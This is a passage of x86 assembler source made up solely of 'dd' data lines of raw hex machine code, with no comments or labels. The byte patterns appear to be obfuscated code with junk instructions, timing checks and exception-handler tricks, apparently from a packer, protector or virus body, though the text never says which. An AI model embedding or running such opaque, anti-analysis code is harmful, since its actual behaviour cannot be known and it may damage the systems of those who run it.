		dd 4244C89h, 4244481h, 16h, 32C35141h, 840F489Bh, 6, 11059D8Bh
		dd 2961061Bh, 1B1F419Dh, 0D185C706h, 3061B13h, 66000000h
		dd 8101E5BBh, 1C354CEBh, 99BD8367h, 61EADh, 31840Fh, 8BFC0000h
		dd 1B2A119Dh, 40E906h, 6A0000h,	3E852h,	5A200000h, 54895AC3h
		dd 44810424h, 150424h, 52420000h, 6052E7C3h, 0BE66F88Bh
		dd 50611F0Eh, 110C30h, 0C1011144h, 443010E8h, 4C000211h
		dd 83580311h, 0E77504E9h, 305036EBh, 64001104h,	0E8C10111h
		dd 11443010h, 11640002h, 0E9835803h, 0EBE77504h, 0E8C1501Bh
		dd 11642810h, 11443003h, 64285802h, 4300111h, 4E98311h
		dd 0EBE775h, 6AC08Bh, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 140424h, 52420000h, 860F48C3h, 1, 0D1BD83F9h, 3061B13h
		dd 4CB850Fh, 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 1A0424h, 57470000h, 711A1BC3h, 6481A047h, 3A18509h
		dd 0BD2B061Bh, 61B1BCDh, 0AD99BD83h, 0F00061Eh,	49084h
		dd 52006A00h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1C04h
		dd 0C3524200h, 0CF97A26h, 0A315FA9h, 0D9D29E5h,	0FF061B02h
		dd 1EAD99B5h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1604h, 0C3554500h, 81E256BBh, 7C1DA3EBh, 1195FF17h
		dd 0BF061B01h, 6FEADFADh, 0AD8DB58Bh, 6A061Eh, 3E855h
		dd 5D200000h, 6C895DC3h, 44810424h, 1C0424h, 55450000h
		dd 0C4325FC3h, 0D215A830h, 6C72BB4h, 10001h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 15h, 5AC35343h, 84B353C2h
		dd 6660505Bh, 860FD68Bh, 2, 89616160h, 6A2434h,	3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 150424h, 53430000h
		dd 8B93E4C3h, 1B0A75BDh, 13E806h, 6430000h, 6DC0D779h
		dd 8E20302Ch, 0C38DDB3h, 0CA4D325Eh, 0CBEF807Fh, 99B5FF5Bh
		dd 0E8061EADh, 0Ch, 41BDE674h, 170E1AF6h, 0D41A14C9h, 5BDE8B66h
		dd 1BC995FFh, 6A061Bh, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 180424h, 51410000h, 0A60DB9C3h, 0B58B949Dh, 61EAD8Dh
		dd 0D25858Bh, 0C781061Bh, 4B4B0B2Bh, 0C48689h, 6A0000h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 180424h, 57470000h
		dd 61F503C3h, 958B14B2h, 61B2429h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 19h, 94C35040h, 2A1229A8h, 0FDBD8B8Ch
		dd 83061B11h, 6A04C2h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 190424h, 55450000h, 0AC9FFFC3h, 8180F755h, 36DB61DBh
		dd 20508976h, 18E19D8Bh, 858D061Bh, 61EC0C7h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 18h, 96C35242h, 6A61BD46h
		dd 0E8ABEF80h, 11h, 0CEDE920Ch,	11F1FA59h, 9983CF77h, 7563F7FEh
		dd 0C1BD8BF0h, 5F061B09h, 0B88689h, 6A0000h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 170424h, 52420000h, 4CE3CAC3h
		dd 0D5B46002h, 0C6D858Bh, 6A61061Bh, 56006A00h,	3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1D04h,	0C3564600h, 0E73E0FA2h
		dd 51627F69h, 0B5FFFBABh, 61EAD99h, 6E98589h, 95FF061Bh
		dd 61B142Dh, 0ED18589h,	0F380061Bh, 12E85094h, 25000000h
		dd 0CE20703Bh, 0F7CC3C0Bh, 60FDE4F1h, 0A888A2BCh, 0F8A6BF5Dh
		dd 895B0488h, 6A2434h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 150424h, 55450000h, 8150F7C3h, 0CB0F1FEFh, 99B5FF76h
		dd 6A061EADh, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1C042444h, 46000000h, 0F4B6C356h, 0C7BC7346h, 66F3EF73h
		dd 2BC6CF81h, 1D1BD8Bh,	95FF061Bh, 61B1B91h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Ch, 0D4C35747h, 4B2D08B6h
		dd 116F1832h, 1CB5BD8Bh, 13E9061Bh, 83000000h, 61F0001Eh
		dd 63D40DA7h, 43CF3740h, 0D949A581h, 0EF8004ADh, 81BD83B3h
		dd 61B0Ch, 23840Fh, 8B600000h, 1B089DBDh, 2D958906h, 61061B2Bh
		dd 0FB8B6656h, 0BF66505Bh, 3489F5E9h, 28A0F24h,	8B000000h
		dd 99B5FFFEh, 6A061EADh, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 1D042444h, 40000000h, 1BD9C350h, 0EA44667Bh
		dd 2C520B74h, 2E819D8Bh, 95FF061Bh, 61B0BD5h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 1Dh, 0A1C35141h, 84E23BFFh
		dd 858E5A49h, 0DFB70FB3h, 8CD9D89h, 0B5FF061Bh,	61EAD99h
		dd 2B659589h, 95FF061Bh, 61B1A09h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 14h, 1BC35343h, 9444BF66h, 7A5BD83h
		dd 0F02061Bh, 5E84h, 56006A00h,	3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1804h, 0C3564600h, 0A5CF4993h, 559D0B77h
		dd 8B061B00h, 1B303185h, 2EEF8106h, 8B3D9B36h, 1B1259BDh
		dd 0C606h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 1Bh,	0BFC35343h, 31ED8C8Bh, 0C73E4A28h, 1B2BD585h, 6
		dd 0F2CEE900h, 6AFFFFh,	3E853h,	5B200000h, 5C895BC3h, 44810424h
		dd 180424h, 53430000h, 3A4B95C3h, 8E0FD555h, 0
		dd 9D03C18Bh, 61B2B71h,	32ED858Dh, 0BB66061Bh, 8950A9F7h
		dd 0FCB72404h, 9D89006Ah, 61B30D5h, 0F3C37DBFh,	6A006A56h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 1B042444h
		dd 43000000h, 99CC353h,	4791549h, 18BFC8ACh, 8D73A326h
		dd 1F8E7785h, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1804h, 0C3514100h, 54CEF342h, 3820F18h, 0F000000h, 9589DFB7h
		dd 61B0C3Dh, 6005C083h,	0CFB70F60h, 175DB58Bh, 6161061Bh
		dd 11BD9D8Bh, 8950061Bh, 95892404h, 61B31C9h, 8166006Ah
		dd 8BE4FDE3h, 1B08B99Dh, 0E9006A06h, 8,	1A3B97D9h, 32E06A11h
		dd 1A0195FFh, 9D8B061Bh, 61B2DBDh, 92B78D8Dh, 6A061Eh
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 190424h, 56460000h
		dd 1DF14EC3h, 0F4FCCB4h, 38Bh, 82DB8000h, 6AD1FFh, 3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 1D0424h, 56460000h
		dd 88D87BC3h, 0ECE0E4DEh, 8B8A098Fh, 0D5BD83D9h, 1061B1Ch
		dd 56850Fh, 81660000h, 6A3FF4CBh, 11E902h, 53840000h, 0A573854Eh
		dd 9FBE3693h, 0CF081855h, 506FEDEAh, 0E9240489h, 9, 0E48766BCh
		dd 37CB913Bh, 2D95FFF0h, 0E8061B14h, 0Ch, 0ED7B7841h, 937F6036h
		dd 784DE870h, 3830Fh, 0F3800000h, 9D895F91h, 61B12C1h
		dd 0D0AE9h, 0E800h, 815D0000h, 1F8E81EDh, 63C38006h, 853D858Dh
		dd 0E381061Eh, 6CFE344h, 52505650h, 800F310Fh, 0
		dd 895B585Ah, 6A2404h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 150424h, 56460000h, 0E99154C3h, 13h,	4D77EFD7h, 0ADE6A43Dh
		dd 2A4BA5DBh, 6CA8614Bh, 641C42C5h, 35FFh, 6A0000h, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 150424h, 57470000h
		dd 8029EEC3h, 9D8B82D3h, 61B3105h, 258964h, 0E9000000h
		dd 7, 0D7B731C2h, 0FF8A4EBEh, 1B2B0D85h, 0FA8B6606h, 6AFF6Ah
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1D0424h, 56460000h
		dd 0D79705C3h, 85B9CC1Eh, 0FF3BAEA4h, 1B005DB5h, 3890F06h
		dd 66000000h, 95FFD88Bh, 61B0805h, 126E9h, 0DE800h, 2DF70000h
		dd 0E80C6270h, 0A26DC649h, 60E73E0Fh, 21C18589h, 0CB3061Bh
		dd 0B05B61h, 66D8D89h, 70E6061Bh, 9E0903BFh, 5671E418h
		dd 613C5FF8h, 0ED830Fh,	0F98B0000h, 89C8B60Fh, 1B306585h
		dd 6BA06h, 9D8B0000h, 61B1675h,	0C890Fh, 800F0000h, 6
		dd 6F98589h, 0C18B061Bh, 2DA99D23h, 0E8C1061Bh,	0E3816604h
		dd 0F7668F3Ah, 36060E2h, 1B1BF585h, 0A99D8B06h,	61061B09h
		dd 242DBD8Bh, 2B61061Bh, 88C381C8h, 8B14C229h, 0F38166D1h
		dd 0BE9CB0Ah, 0BB000000h, 592B9385h, 0A0CDCB81h, 858B17D7h
		dd 61B10C1h, 7299501h, 0C083061Bh, 83DDB307h, 0BD2300C0h
		dd 61B0D1Dh, 830FD03Bh,	0Eh, 23D98D09h,	50E9061Bh, 0F000000h
		dd 8D8BDEBFh, 61B1745h,	10E9h, 339F500h, 0C1F36F2h, 0BE2A9497h
		dd 75848EABh, 1E183EBh,	29840Fh, 0EE90000h, 0BC000000h
		dd 833D92C5h, 5DE0FB87h, 85689186h, 45A583EDh, 0FE061B17h
		dd 9589D88Ah, 61B10C1h,	0E9FA8Bh, 8D000000h, 1F0A02B5h
		dd 0D3815106h, 42B3D2FAh, 599D895Bh, 6A061B1Dh,	95FFF800h
		dd 61B2205h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 17h,	90C35646h, 8B54DBF6h, 1B28E1BDh, 85FB906h, 81660000h
		dd 83B84DEFh, 6AFCE1h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 1A0424h, 53430000h, 75D714C3h, 8C4DB4DCh, 0F5FCD98Bh
		dd 6AC02Bh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 180424h
		dd 52420000h, 0E850BFC3h, 8B66AB2Dh, 0BAD9h, 33AD0000h
		dd 3E8D1C2h, 4E983D0h, 0A1B3F475h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 1Ah, 5C35343h, 6B584D48h, 8D0F25ABh
		dd 3, 0DE0D780h, 88h, 0E857006Ah, 3, 5FC35F20h,	4247C89h
		dd 4244481h, 1Ah, 22C35747h, 0BF225239h, 958B245Ah, 61B2429h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Ah, 57C35343h
		dd 6117D679h, 5E92DBCh,	14000000h, 0C8CB3443h, 21DD9D8Bh
		dd 8D8B061Bh, 61B0765h,	31EDB589h, 8B50061Bh, 3188BC2h
		dd 8B188BC1h, 3E8D1C1h,	58188BC2h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 19h, 12C35242h, 0DFE6B63Ah, 52006AA2h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1C04h, 0C3524200h
		dd 1901D176h, 0F14D03A2h, 65BD8B42h, 83061B02h,	1B1769BDh
		dd 840F0006h, 97h, 155BD8Bh, 0B8061Bh, 6A000000h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 1D042444h, 42000000h
		dd 57BAC352h, 3C121FDh,	61685D3Ah, 8D8DFDB3h, 61B4CD3h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 15h, 10C35040h
		dd 6AE1FFE3h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 16042444h, 40000000h, 0FDB4C350h, 8D0F6030h,	6, 18A59589h
		dd 0FE9061Bh, 0BE000000h, 4E9AE16Bh, 638A266Eh,	0AB359F5Eh
		dd 83612DBFh, 1B13D1BDh, 840F0006h, 312h, 0E851006Ah, 3
		dd 59C35920h, 4244C89h,	4244481h, 18h, 0ABC35141h, 6F6351EAh
		dd 1189BD8Bh, 0BD83061Bh, 61B13D1h, 0FA840F01h,	6A000002h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 14042444h
		dd 42000000h, 8388C352h, 1B13D1BDh, 860F0306h, 29Bh, 6071EB80h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Ah, 0D9C35343h
		dd 7CA81148h, 8B603BC2h, 0DDBD89D0h, 61061B30h,	6AD98C66h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 18042444h
		dd 42000000h, 541FC352h, 8047497Bh, 0DE8B04E1h,	840FC90Ah
		dd 0B4h, 2F319D8Bh, 858B061Bh, 61B0145h, 0E850006Ah, 3
		dd 58C35820h, 4244489h,	4244481h, 17h, 0E7C35040h, 8928929Eh
		dd 1B2271BDh, 31853306h, 50061B2Ah, 0B7EDBF66h,	0F240489h
		dd 6AFBBFh, 17D78166h, 0BFCF68C6h, 0DE851A5h, 43000000h
		dd 98C174B8h, 92FA3006h, 0A338CA8Ch, 8B0F53h, 5B000000h
		dd 2434815Fh, 51BABC30h, 0C78166F5h, 95FF22C7h,	61B3235h
		dd 117D9D8Bh, 8589061Bh, 61EAD99h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 18h, 30C35141h, 8CD3233Ch, 1FDB509h
		dd 0E9F9061Bh, 128h, 0AD91858Bh, 8B66061Eh, 1800C7DEh
		dd 8B000000h, 1B19D1BDh, 95B58B06h, 0E9061EADh,	9, 6D1CCE2Bh
		dd 0A5E459D0h, 29858BFEh, 1061B12h, 1B00E59Dh, 6A068906h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 1C042444h
		dd 41000000h, 0E19EC351h, 0D518B8D7h, 8BBD797Ch, 1B19C1BDh
		dd 0BE906h, 97C80000h, 6FA6EF20h, 5AC6DC9Fh, 45858BD5h
		dd 0B3061B01h, 0EB81666Ah, 46894EB3h, 9D895204h, 61B13F1h
		dd 0E99D8B5Bh, 50061B25h, 6A243489h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 1B042444h, 43000000h, 0D24CC353h
		dd 7D62B365h, 0B5FF26CCh, 61EAD91h, 7528DB68h, 810DB7C5h
		dd 0DB242404h, 0DE8B3AA9h, 0AD99858Dh, 6A061Eh,	3E851h
		dd 59200000h, 4C8959C3h, 44810424h, 140424h, 51410000h
		dd 0BD8B22C3h, 61B21B1h, 5090FB8Bh, 6A90F88Bh, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 1A042444h, 40000000h
		dd 4C20C350h, 0BED4F249h, 0FF0CB3ADh, 1B323595h, 0F8B70F06h
		dd 11E961h, 584E0000h, 297CA5B2h, 7D92055Eh, 4EE7E3Ch
		dd 0C74FE41Bh, 1B13D185h, 306h,	14E900h, 70B80000h, 8D329E87h
		dd 7D5C16E2h, 3B1A0516h, 0F35E6F3Fh, 0BD830E8Ah, 61EAD99h
		dd 18840F00h, 29000000h, 1B1A99BDh, 28E906h, 5E80000h
		dd 9D000000h, 0F9F152AEh, 505FFA8Ah, 110C30h, 0C1011144h
		dd 443010E8h, 4C000211h, 83580311h, 0E77504E9h,	305036EBh
		dd 64001104h, 0E8C10111h, 11443010h, 11640002h,	0E9835803h
		dd 0EBE77504h, 0E8C1501Bh, 11642810h, 11443003h, 64285802h
		dd 4300111h, 4E98311h, 0EBE775h, 6AC08Bh, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 140424h, 50400000h, 60F53EC3h
		dd 0FB63F4B8h, 0DBD0971h, 61061B19h, 0F8B0Fh, 0AE90000h
		dd 6A000000h, 95F859ECh, 5FFC12B3h, 0D1BD832Ah,	3061B13h
		dd 4F2850Fh, 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 170424h, 53430000h, 17049AC3h, 0C9BD896Fh, 83061B0Dh
		dd 1EAD99BDh, 840F0006h
		dd 4C0h, 2E599529h, 0B5FF061Bh,	61EAD99h, 0E855006Ah, 3
		dd 5DC35D20h, 4246C89h,	4244481h, 1Ch, 76C35545h, 14F0AD0Dh
		dd 758E8A73h, 0F820Fh, 7E80000h, 0D7000000h, 770C7F73h
		dd 6160B660h, 1195FF5Bh, 6A061B01h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 1A042444h, 43000000h, 0DB9EC353h
		dd 0D98F3C3Ch, 8DB58B7Bh, 8B061EADh, 1B02019Dh,	106C706h
		dd 0BF000100h, 5FE99B13h, 0AE850h, 0C3580000h, 0CF70F089h
		dd 5B9550E2h, 2434895Fh, 0E853006Ah, 3,	5BC35B20h, 4245C89h
		dd 4244481h, 19h, 0FBC35343h, 617B6CF6h, 8B6656B8h, 0B5FF5BDFh
		dd 61EAD99h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 1Dh,	0ACC35747h, 739CB39Fh, 0F574BC12h, 0FFB70F2Ch
		dd 0D9B531h, 0BD8B061Bh, 61B0D05h, 1BC995FFh, 6A061Bh
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 150424h, 55450000h
		dd 8147C6C3h, 9DE371DFh, 14E930h, 28CE0000h, 0B94DBB41h
		dd 0C9122A4h, 9F163741h, 0A231677Dh, 0B58B156Bh, 61EAD8Dh
		dd 50DA8B66h, 44EF8166h, 858B5FF5h, 61B0D25h, 89F98B66h
		dd 0C486h, 55006A00h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h
		dd 1C04h, 0C3554500h, 0BA75CD5Ch, 2F4D290Dh, 6800FA7h
		dd 8B000000h, 1B1D299Dh, 21BD8B06h, 8B061B21h, 1B242995h
		dd 0ADBD0906h, 83061B22h, 6A04C2h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 1C0424h, 56460000h, 0D6A7A4C3h, 0CC01DA05h
		dd 5089418Ah, 50006A20h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1504h, 0C3504000h, 0FF862CCh, 687h, 15952900h, 8D061B21h
		dd 1EC0C785h, 68F0F06h,	3000000h, 1B22B5BDh, 0DE906h, 46870000h
		dd 2CDC8D5Ch, 0C83AA411h, 892B9CCBh, 0B886h, 55006A00h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1504h, 0C3554500h
		dd 6A5823h, 0DD9D0960h,	89061B1Eh, 1B179D85h, 0B5FF6106h
		dd 61EAD99h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 14h,	0BEC35242h, 24E59D8Bh, 0BD2B061Bh, 61B0A45h, 142D95FFh
		dd 6A061Bh, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1D0424h
		dd 57470000h, 0EBA920C3h, 0AFD4E958h, 0F59B8DB5h, 8DDBD8Bh
		dd 0B396061Bh, 525050D8h, 817DBB66h, 10B7310Fh,	6A96585Ah
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 14042444h
		dd 43000000h, 0FF77C353h, 1EAD99B5h, 51006A06h,	3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1D04h,	0C3514100h, 84AE97D6h
		dd 875BD615h, 0BD893943h, 61B2EB9h, 0CFA4EF81h,	95FF61D9h
		dd 61B1B91h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 1Ch,	0A8C35747h, 1492D253h, 29AB0F55h, 0C81BD83h, 0F00061Bh
		dd 6B84h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1404h, 0C3534300h, 14E8AFh, 0BD90000h, 0D69345C1h, 18418779h
		dd 0AF71F254h, 31A09748h, 8B53EC85h, 1B2F31BDh,	505F5B06h
		dd 12E9h, 0C240E800h, 0A031D557h, 24ECE74Bh, 4AAA9B84h
		dd 892F2338h, 0DE92434h, 0E1000000h, 3AC915D9h,	0B6C89F3Bh
		dd 5E2F8E64h, 0AD99B5FFh, 0CB80061Eh, 0D595FFD6h, 6A061B0Bh
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 14042444h
		dd 47000000h, 0FFCDC357h, 1EAD99B5h, 0F98D0106h, 0FF061B2Fh
		dd 1B1A0995h, 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1A04h, 0C3504000h, 189F2BCh,	0F7F0661h, 88Dh, 860F5000h
		dd 0
		dd 48C0F5Bh, 66000000h,	8372D0BBh, 1B07A5BDh, 840F0206h
		dd 65h,	0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 15h
		dd 32C35242h, 0AFCF81CAh, 8B0DBB9Dh, 1B303185h,	0C3815206h
		dd 3041692Bh, 13E95Fh, 0B73D0000h, 6186ADF3h, 59D99D5Dh
		dd 24AEF763h, 22FFD2EEh, 0C6AAh, 0CF5BD89h, 0EE9061Bh
		dd 8C000000h, 2EFFEEBBh, 633A612Dh, 371244CEh, 0D585C731h
		dd 61B2Bh, 6A000000h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 16042444h, 46000000h, 9C54C356h, 0DBBF0F42h,	0FFF3BBE9h
		dd 0BE9FFh, 6AFD0000h, 0DE29FCE4h, 0B20E8F5Bh, 60C18B4Bh
		dd 0BB663BB5h, 8D61D21Ch, 1B32ED85h, 8D9D8B06h,	66061B01h
		dd 7391CF81h, 7543BF50h, 4890047h, 919D8B24h, 0F061B10h
		dd 6ADBBFh, 0E856006Ah,	3, 5EC35E20h, 4247489h,	4244481h
		dd 19h,	85C35646h, 10B2252Ah, 6E87Ah, 5EEC0000h, 0B413B912h
		dd 38B0Fh, 8B660000h, 6A5BDFh, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 1Bh, 33C35343h, 58D444B8h, 0B7558F08h
		dd 0CE858DA2h, 6A061F9Dh, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 1C042444h, 47000000h, 14C5C357h, 96C448B6h
		dd 291931CCh, 1B025195h, 5C08306h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 1Ah, 9EC35646h, 6781F523h, 0BD03B945h
		dd 61B1F55h, 6E950h, 0D000000h,	57922707h, 6A240489h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 17042444h, 47000000h
		dd 0B012C357h, 7E9A7D8h, 9B000000h, 953B28D8h, 0BB669094h
		dd 6AF99234h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1604h, 0C3524200h, 89EEEA06h, 1B0E0985h, 0EA9ABF06h
		dd 6A6B4Eh, 8E9h, 0CA39EA00h, 863837A3h, 195FF06h, 8B061B1Ah
		dd 1B0E15BDh, 0B78D8D06h, 6A061E92h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 1B042444h, 41000000h, 0EA0EC351h
		dd 0E913FCA6h, 0FFFC6F4Dh, 9BE381D1h, 834EC402h, 1B1CD5BDh
		dd 850F0106h, 0A7h, 0E851006Ah,	3, 59C35920h, 4244C89h
		dd 4244481h, 16h, 20C35141h, 0BD8B6576h, 61B0945h, 6A026Ah
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 170424h, 52420000h
		dd 5A1C0DC3h, 0BE863h, 64870000h, 0C927A49h, 0CECC0538h
		dd 50905B3Fh, 6A90FA8Bh, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1B042444h, 42000000h, 0C9C4C352h,	491EA6Bh
		dd 95FFFB84h, 61B142Dh,	0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 1Bh, 82C35646h, 0AE520D2Dh, 0E9A38119h, 0D34h
		dd 0E8h, 0ED815D00h, 61F9DD8h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 14h, 7C35141h, 5870Fh, 0B1BB0000h
		dd 0FC26D9DDh, 9518589h, 858D061Bh, 61E853Dh, 8B5690F8h
		dd 0B3505FDEh, 9D2B906Fh, 61B2E59h, 35FF64h, 29000000h
		dd 1B1CC985h, 25896406h, 0
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Dh, 7EC35747h
		dd 27D1C4D9h, 1E32498Ch, 0DDBD8BA1h, 0FF061B30h, 1B2B0D85h
		dd 53006A06h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1D04h
		dd 0C3534300h, 859C0DFFh, 964DC6A9h, 0FF6A7E1Bh, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 18h, 0EBC35343h, 9C9F2F35h
		dd 0DCDB5FFh, 9D03061Bh, 61B21B5h, 80595FFh, 17E9061Bh
		dd 0E9000001h, 0Ch, 6ED1ADD4h, 2840CE07h, 5E7E2CF3h, 1198589h
		dd 0B0061Bh, 9D8B70E6h,	61B2225h, 0FA8B71E4h, 830F613Ch
		dd 0EAh, 1A49BD8Bh, 0B60F061Bh,	0B9C381C8h, 0BA649235h
		dd 6, 6870Fh, 9D8B0000h, 61B17F5h, 13019D8Bh, 0C18B061Bh
		dd 0B49BD8Bh, 0E8C1061Bh, 9E904h, 0D19E0000h, 38437879h
		dd 662B3882h, 5260E2F7h, 58D6B70Fh, 0DE9h, 30015600h, 6B78D1AFh
		dd 0BB66A88Bh, 2B61A428h, 8BF98BC8h, 0FBBF0FD1h, 0BE9h
		dd 0D59D8900h, 66061B23h, 0E387CF81h, 2921858Bh, 9D8B061Bh
		dd 61B21BDh, 6607C083h,	0EB8DE781h, 1A499589h, 0C083061Bh
		dd 8E900h, 0D9EA0000h, 0DE43F608h, 0D03BB68Dh, 0E830Fh
		dd 9D2B0000h, 61B2FE9h,	39E9h, 67F38000h, 2D1D8D8Bh, 0BF66061Bh
		dd 0BD8B3543h, 61B0319h, 0F01E183h, 1D84h, 0D98B6600h
		dd 2D1DA583h, 89FE061Bh, 1B292195h, 8B5B5606h, 1B035DBDh
		dd 0E906h, 0B58D0000h, 61F146Ah, 0C858D01h, 6A061Bh, 95FFF98Bh
		dd 61B2205h, 7F9B9F8h, 6A0000h,	3E853h,	5B200000h, 5C895BC3h
		dd 44810424h, 1B0424h, 53430000h, 0B81E6BC3h, 28A9EF89h
		dd 0FCE18392h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 16h,	2AC35646h, 89FC1E3Ah, 1B118985h, 0B806h, 6A0000h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 140424h, 52420000h
		dd 0BB665FC3h, 9509EBE7h, 61B1CF9h, 6AD22Bh, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 1C0424h, 55450000h, 272A4FC3h
		dd 10192F5Fh, 0BF66201Bh, 33AD99E9h, 3E8D1C2h, 4E983D0h
		dd 0BD8BF475h, 61B2B49h, 0FE8h,	0C669EC00h, 44AFFD0Dh
		dd 0AF0B4F2Dh, 7384BCC2h, 2E51BD8Bh, 0D5F061Bh,	88h, 0BCF8166h
		dd 29958BA0h, 8B061B24h, 1B07658Dh, 56006A06h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1704h,	0C3564600h, 1803FFF9h
		dd 0E0C98060h, 2A5BD8Bh, 8961061Bh, 1B03CDB5h, 0C28B5006h
		dd 0C103188Bh, 0C18B188Bh, 0C203E8D1h, 8B58188Bh, 1B18A59Dh
		dd 53006A06h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1B04h
		dd 0C3534300h, 767AB50Ah, 27DD303Fh, 0DA0EBF66h, 0D8EBC381h
		dd 0BD83330Dh, 61B1769h, 83840F00h, 6A000000h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 18042444h, 40000000h
		dd 16DEC350h, 81F61F60h, 0E5DCB5EBh, 0B865h, 6A0000h, 3E851h
		dd 59200000h, 4C8959C3h, 44810424h, 180424h, 51410000h
		dd 4D9AA6C3h, 8D8DE022h, 61B4CD3h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 15h, 0D7C35545h,	56E381BCh, 6658E943h
		dd 0CA72DF81h, 3152E1FFh, 1B1D4D9Dh, 0BD835B06h, 61B13D1h
		dd 57840F00h, 6A000004h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 1A042444h, 40000000h, 3D6AC350h, 0F765DE6Bh
		dd 298D8910h, 81061B00h, 0EB4F50D7h, 0D1BD8377h, 1061B13h
		dd 437840Fh, 6E90000h, 0E5000000h, 4462B871h, 0D1BD83B6h
		dd 3061B13h, 3E9860Fh, 8E0F0000h, 0Dh, 0D8816660h, 0B5896894h
		dd 61B0D09h, 8D896061h,	61B2DF9h, 6AD98C66h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 14042444h, 46000000h
		dd 0FC7AC356h, 0E904E180h, 5, 0DC28A355h, 0FC90AF9h, 12684h
		dd 0D98D8900h, 66061B18h, 858BF98Bh, 61B0145h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Ah, 0CAC35545h, 0ED502A6Eh
		dd 9D8B776Dh, 61B0D45h,	2A318533h, 6A061Bh, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 170424h, 57470000h, 3F0F2C3h
